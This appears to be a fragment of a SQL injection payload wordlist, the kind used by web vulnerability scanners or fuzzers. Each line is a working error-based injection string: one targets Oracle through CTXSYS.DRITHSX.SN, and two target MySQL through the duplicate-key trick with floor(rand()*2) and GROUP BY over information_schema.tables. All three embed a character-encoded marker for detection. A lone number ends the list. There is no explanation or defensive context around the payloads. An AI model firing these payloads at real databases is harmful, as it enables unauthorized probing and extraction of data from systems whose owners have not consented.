(length(CTXSYS.DRITHSX.SN(user,(select CHR(52)||CHR(67)||CHR(117)||CHR(115)||CHR(110)||CHR(99)||CHR(117)||CHR(115)||CHR(121)||CHR(117)||CHR(110) from DUAL))))
(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(115),CHAR(110),CHAR(99),CHAR(117),CHAR(115),CHAR(121),CHAR(117),CHAR(110)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(115),CHAR(110),CHAR(99),CHAR(117),CHAR(115),CHAR(121),CHAR(117),CHAR(110)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and
20